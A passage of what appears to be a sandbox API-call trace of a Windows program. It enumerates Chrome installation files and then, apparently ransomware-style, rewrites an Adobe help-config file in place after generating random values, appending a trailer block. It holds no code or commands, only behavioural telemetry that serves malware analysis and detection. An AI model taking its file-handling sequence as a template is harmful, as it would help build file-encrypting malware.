ftLastWriteTime.dwLowDateTime=0xff3a7fb0, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5741, dwReserved0=0x0, dwReserved1=0x0, cFileName="logocanary.png", cAlternateFileName="LOGOCA~1.PNG")) returned 1 [0159.031] wcscmp (_String1="logocanary.png", _String2=".") returned 1 [0159.031] wcscmp (_String1="logocanary.png", _String2="..") returned 1 [0159.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x119650 [0159.032] wcscpy (in: _Dest=0x119650, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements" [0159.032] wcscat (in: _Dest=0x119650, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\" [0159.032] wcscat (in: _Dest=0x119650, _Source="logocanary.png" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\logocanary.png") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\logocanary.png" [0159.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x119650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22f8 [0159.033] FindNextFileW (in: hFindFile=0x1ced5da0, lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff3b6a16, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x1ef3, dwReserved0=0x0, dwReserved1=0x0, cFileName="smalllogo.png", cAlternateFileName="SMALLL~1.PNG")) returned 1 [0159.033] wcscmp (_String1="smalllogo.png", _String2=".") returned 1 [0159.033] wcscmp (_String1="smalllogo.png", _String2="..") returned 1 [0159.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x107d80 [0159.033] wcscpy (in: _Dest=0x107d80, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements" [0159.033] wcscat (in: _Dest=0x107d80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\" [0159.033] wcscat (in: _Dest=0x107d80, _Source="smalllogo.png" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\smalllogo.png") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\smalllogo.png" [0159.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x107d80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22c4 [0159.074] FindNextFileW (in: hFindFile=0x1ced5da0, lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff3c547c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x1ea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="smalllogocanary.png", cAlternateFileName="SMALLL~2.PNG")) returned 1 [0159.074] wcscmp (_String1="smalllogocanary.png", _String2=".") returned 1 [0159.074] wcscmp (_String1="smalllogocanary.png", _String2="..") returned 1 [0159.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x118540 [0159.075] wcscpy (in: _Dest=0x118540, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements" [0159.075] wcscat (in: _Dest=0x118540, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\" [0159.075] wcscat (in: _Dest=0x118540, _Source="smalllogocanary.png" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\smalllogocanary.png") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\smalllogocanary.png" [0159.075] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x118540, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x600 [0159.122] FindNextFileW (in: hFindFile=0x1ced5da0, lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff3c547c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x1ea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="smalllogocanary.png", cAlternateFileName="SMALLL~2.PNG")) returned 0 [0159.122] FindClose (in: hFindFile=0x1ced5da0 | out: hFindFile=0x1ced5da0) returned 1 [0159.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1dd20) returned 1 [0159.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65810) returned 1 [0159.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac4d0) returned 1 Thread: id = 2513 os_tid = 0x1fb8 [0154.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1cd640b0 [0154.679] wcscpy (in: _Dest=0x1cd640b0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm" [0154.679] wcscat (in: _Dest=0x1cd640b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\" [0154.679] wcscat (in: _Dest=0x1cd640b0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\*") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\*" [0154.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1fcd0 [0154.679] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\*", lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d9a09c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5e60 [0154.680] wcscmp (_String1=".", _String2=".") returned 0 [0154.680] FindNextFileW (in: hFindFile=0x1ced5e60, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d9a09c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.680] wcscmp (_String1="..", _String2=".") returned 1 [0154.680] wcscmp (_String1="..", _String2="..") returned 0 [0154.680] FindNextFileW (in: hFindFile=0x1ced5e60, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff3db415, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x3b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1 [0154.680] wcscmp (_String1="manifest.json", _String2=".") returned 1 [0154.680] wcscmp (_String1="manifest.json", _String2="..") returned 1 [0154.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x20278cb0 [0154.680] wcscpy (in: _Dest=0x20278cb0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm" [0154.680] wcscat (in: _Dest=0x20278cb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\" [0154.680] wcscat (in: _Dest=0x20278cb0, _Source="manifest.json" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\manifest.json") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\manifest.json" [0158.503] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20278cb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x67c [0158.503] FindNextFileW (in: hFindFile=0x1ced5e60, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d78b680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d78b680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_platform_specific", cAlternateFileName="_PLATF~1")) returned 1 [0158.503] wcscmp (_String1="_platform_specific", _String2=".") returned 1 [0158.503] wcscmp (_String1="_platform_specific", _String2="..") returned 1 [0158.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x119720 [0158.504] wcscpy (in: _Dest=0x119720, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm" [0158.504] wcscat (in: _Dest=0x119720, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\" [0158.504] wcscat (in: _Dest=0x119720, _Source="_platform_specific" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific" [0158.504] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x119720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1824 [0158.505] FindNextFileW (in: hFindFile=0x1ced5e60, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d78b680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d78b680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_platform_specific", cAlternateFileName="_PLATF~1")) returned 0 [0158.505] FindClose (in: hFindFile=0x1ced5e60 | out: hFindFile=0x1ced5e60) returned 1 [0158.505] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1fcd0) returned 1 [0158.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd640b0) returned 1 [0158.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205069f0) returned 1 Thread: id = 2514 os_tid = 0x1fbc [0154.681] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\es_es\\reader_10.0.helpcfg")) returned 0x20 [0154.682] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\Reader_10.0.helpcfg", dwFileAttributes=0x20) returned 1 [0154.682] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\es_es\\reader_10.0.helpcfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9e8 [0154.683] GetFileSizeEx (in: hFile=0x9e8, lpFileSize=0x2dc3f9a0 | out: lpFileSize=0x2dc3f9a0*=349) returned 1 [0154.683] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x159, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.683] ReadFile (in: hFile=0x9e8, lpBuffer=0x2dc3f920, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2dc3f968, lpOverlapped=0x0 | out: lpBuffer=0x2dc3f920*, lpNumberOfBytesRead=0x2dc3f968*=0x4, lpOverlapped=0x0) returned 1 [0154.684] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaec0 [0154.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9c80 [0154.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9d10 [0154.684] NtQuerySystemTime (in: CurrentTime=0x2dc3f860 | out: CurrentTime=0x2dc3f860*=132462177598138000) returned 0x0 [0154.684] RtlRandomEx (in: Seed=0x2dc3f850 | out: Seed=0x2dc3f850) returned 0x5636d723 [0154.684] RtlRandomEx (in: Seed=0x2dc3f850 | out: Seed=0x2dc3f850) returned 0x6e1c630f [0154.684] RtlRandomEx (in: Seed=0x2dc3f850 | out: Seed=0x2dc3f850) returned 0x1125ea9 [0154.684] RtlRandomEx (in: Seed=0x2dc3f850 | out: Seed=0x2dc3f850) returned 0xe453f88 [0154.684] RtlRandomEx (in: Seed=0x2dc3f850 | out: Seed=0x2dc3f850) returned 0xb803466 [0154.684] RtlRandomEx (in: Seed=0x2dc3f850 | out: Seed=0x2dc3f850) returned 0x5d28bdc2 [0154.684] RtlRandomEx (in: Seed=0x2dc3f850 | out: Seed=0x2dc3f850) returned 0xbf3d624 [0154.684] RtlRandomEx (in: Seed=0x2dc3f850 | out: Seed=0x2dc3f850) returned 0x736c8453 [0154.685] RtlRandomEx (in: Seed=0x2dc3f850 | out: Seed=0x2dc3f850) returned 0x520f7c54 [0154.685] RtlRandomEx (in: Seed=0x2dc3f850 | out: Seed=0x2dc3f850) returned 0xfe28440 [0154.685] RtlRandomEx (in: Seed=0x2dc3f850 | out: Seed=0x2dc3f850) returned 0x116d853 [0154.685] RtlRandomEx (in: Seed=0x2dc3f850 | out: Seed=0x2dc3f850) returned 0x6d8599a9 [0154.685] RtlRandomEx (in: Seed=0x2dc3f850 | out: Seed=0x2dc3f850) returned 0x56ce2ca [0154.685] RtlRandomEx (in: Seed=0x2dc3f850 | out: Seed=0x2dc3f850) returned 0x6a67c206 [0154.685] RtlRandomEx (in: Seed=0x2dc3f850 | out: Seed=0x2dc3f850) returned 0x66e6ac94 [0154.685] RtlRandomEx (in: Seed=0x2dc3f850 | out: Seed=0x2dc3f850) returned 0x4e65adff [0154.685] RtlRandomEx (in: Seed=0x2dc3f850 | out: Seed=0x2dc3f850) returned 0x1a15d765 [0154.685] RtlRandomEx (in: Seed=0x2dc3f850 | out: Seed=0x2dc3f850) returned 0x7322a812 [0154.685] RtlRandomEx (in: Seed=0x2dc3f850 | out: Seed=0x2dc3f850) returned 0x22fd4502 [0154.685] RtlRandomEx (in: Seed=0x2dc3f850 | out: Seed=0x2dc3f850) returned 0x231fbfe8 [0154.685] RtlRandomEx (in: Seed=0x2dc3f850 | out: Seed=0x2dc3f850) returned 0x198a7029 [0154.685] RtlRandomEx (in: Seed=0x2dc3f850 | out: Seed=0x2dc3f850) returned 0x39bd0e0 [0154.685] RtlRandomEx (in: Seed=0x2dc3f850 | out: Seed=0x2dc3f850) returned 0x34547914 [0154.685] RtlRandomEx (in: Seed=0x2dc3f850 | out: Seed=0x2dc3f850) returned 0x383ffd13 [0154.685] RtlRandomEx (in: Seed=0x2dc3f850 | out: Seed=0x2dc3f850) returned 0x2f8f9502 [0154.685] RtlRandomEx (in: Seed=0x2dc3f850 | out: Seed=0x2dc3f850) returned 0xf374fd1 [0154.685] RtlRandomEx (in: Seed=0x2dc3f850 | out: Seed=0x2dc3f850) returned 0x3998168f [0154.685] RtlRandomEx (in: Seed=0x2dc3f850 | out: Seed=0x2dc3f850) returned 0x2c17652 [0154.685] RtlRandomEx (in: Seed=0x2dc3f850 | out: Seed=0x2dc3f850) returned 0x52da09b [0154.685] RtlRandomEx (in: Seed=0x2dc3f850 | out: Seed=0x2dc3f850) returned 0x13896a25 [0154.685] RtlRandomEx (in: Seed=0x2dc3f850 | out: Seed=0x2dc3f850) returned 0x335dd4e5 [0154.685] RtlRandomEx (in: Seed=0x2dc3f850 | out: Seed=0x2dc3f850) returned 0x14371b0f [0154.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9d40 [0154.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c840 [0154.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9d70 [0154.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c840) returned 1 [0154.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9d10) returned 1 [0154.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaec0) returned 1 [0154.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1f20 [0154.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c840 [0154.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaec0 [0154.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaec0) returned 1 [0154.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x428345f0 [0154.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42838200 [0154.695] ReadFile (in: hFile=0x9e8, lpBuffer=0x428345f0, nNumberOfBytesToRead=0x15d, lpNumberOfBytesRead=0x2dc3f850, lpOverlapped=0x0 | out: lpBuffer=0x428345f0*, lpNumberOfBytesRead=0x2dc3f850*=0x15d, lpOverlapped=0x0) returned 1 [0154.695] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.695] WriteFile (in: hFile=0x9e8, lpBuffer=0x42838200*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x2dc3f854, lpOverlapped=0x0 | out: lpBuffer=0x42838200*, lpNumberOfBytesWritten=0x2dc3f854*=0x15d, lpOverlapped=0x0) returned 1 [0162.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18ae0 [0162.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18b10 [0162.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18b10) returned 1 [0162.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42838200) returned 1 [0162.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x428345f0) returned 1 [0162.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c840) returned 1 [0162.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1f20) returned 1 [0162.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1b7aa1e0 [0162.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1f20 [0162.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c840 [0162.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18b10 [0162.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18b10) returned 1 [0162.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1b7aa1a0 [0162.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18b10 [0162.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18b40 [0162.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18b40) returned 1 [0162.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c840) returned 1 [0162.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1f20) returned 1 [0162.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x118) returned 0x42c14f30 [0162.426] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.426] WriteFile (in: hFile=0x9e8, lpBuffer=0x42c14f30*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2dc3f970, lpOverlapped=0x0 | out: lpBuffer=0x42c14f30*, lpNumberOfBytesWritten=0x2dc3f970*=0x118, lpOverlapped=0x0) returned 1 [0166.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059290 [0166.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869240 [0166.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda580 [0166.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda580) returned 1 [0166.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cdda580 [0166.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda550 [0166.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda490 [0166.393] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda490) returned 1 [0166.393] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869240) returned 1 [0166.393] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0166.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1cd864f0 [0166.393] sprintf (in: _Dest=0x1cd864f0, _Format="%c%c" | out: _Dest="c2") returned 2 [0166.394] sprintf (in: _Dest=0x1cd864f2, _Format="%c%c" | out: _Dest="85") returned 2 [0166.394] sprintf (in: _Dest=0x1cd864f4, _Format="%c%c" | out: _Dest="f3") returned 2 [0166.394] sprintf (in: _Dest=0x1cd864f6, _Format="%c%c" | out: _Dest="e3") returned 2 [0166.394] sprintf (in: _Dest=0x1cd864f8, _Format="%c%c" | out: _Dest="9a") returned 2 [0166.394] sprintf (in: _Dest=0x1cd864fa, _Format="%c%c" | out: _Dest="1a") returned 2 [0166.394] sprintf (in: _Dest=0x1cd864fc, _Format="%c%c" | out: _Dest="6d") returned 2 [0166.394] sprintf (in: _Dest=0x1cd864fe, _Format="%c%c" | out: _Dest="56") returned 2 [0166.394] sprintf (in: _Dest=0x1cd86500, _Format="%c%c" | out: _Dest="a1") returned 2 [0166.394] sprintf (in: _Dest=0x1cd86502, _Format="%c%c" | out: _Dest="e5") returned 2 [0166.394] sprintf (in: _Dest=0x1cd86504, _Format="%c%c" | out: _Dest="ef") returned 2 [0166.394] sprintf (in: _Dest=0x1cd86506, _Format="%c%c" | out: _Dest="21") returned 2 [0166.394] sprintf (in: _Dest=0x1cd86508, _Format="%c%c" | out: _Dest="6a") returned 2 [0166.394] sprintf (in: _Dest=0x1cd8650a, _Format="%c%c" | out: _Dest="4d") returned 2 [0166.394] sprintf (in: _Dest=0x1cd8650c, _Format="%c%c" | out: _Dest="f9") returned 2 [0166.394] sprintf (in: _Dest=0x1cd8650e, _Format="%c%c" | out: _Dest="46") returned 2 [0166.394] sprintf (in: _Dest=0x1cd86510, _Format="%c%c" | out: _Dest="96") returned 2 [0166.394] sprintf (in: _Dest=0x1cd86512, _Format="%c%c" | out: _Dest="21") returned 2 [0166.394] sprintf (in: _Dest=0x1cd86514, _Format="%c%c" | out: _Dest="87") returned 2 [0166.394] sprintf (in: _Dest=0x1cd86516, _Format="%c%c" | out: _Dest="8f") returned 2 [0166.394] sprintf (in: _Dest=0x1cd86518, _Format="%c%c" | out: _Dest="56") returned 2 [0166.394] sprintf (in: _Dest=0x1cd8651a, _Format="%c%c" | out: _Dest="9e") returned 2 [0166.394] sprintf (in: _Dest=0x1cd8651c, _Format="%c%c" | out: _Dest="1c") returned 2 [0166.394] sprintf (in: _Dest=0x1cd8651e, _Format="%c%c" | out: _Dest="de") returned 2 [0166.394] sprintf (in: _Dest=0x1cd86520, _Format="%c%c" | out: _Dest="83") returned 2 [0166.394] sprintf (in: _Dest=0x1cd86522, _Format="%c%c" | out: _Dest="d8") returned 2 [0166.394] sprintf (in: _Dest=0x1cd86524, _Format="%c%c" | out: _Dest="2a") returned 2 [0166.394] sprintf (in: _Dest=0x1cd86526, _Format="%c%c" | out: _Dest="77") returned 2 [0166.394] sprintf (in: _Dest=0x1cd86528, _Format="%c%c" | out: _Dest="a5") returned 2 [0166.394] sprintf (in: 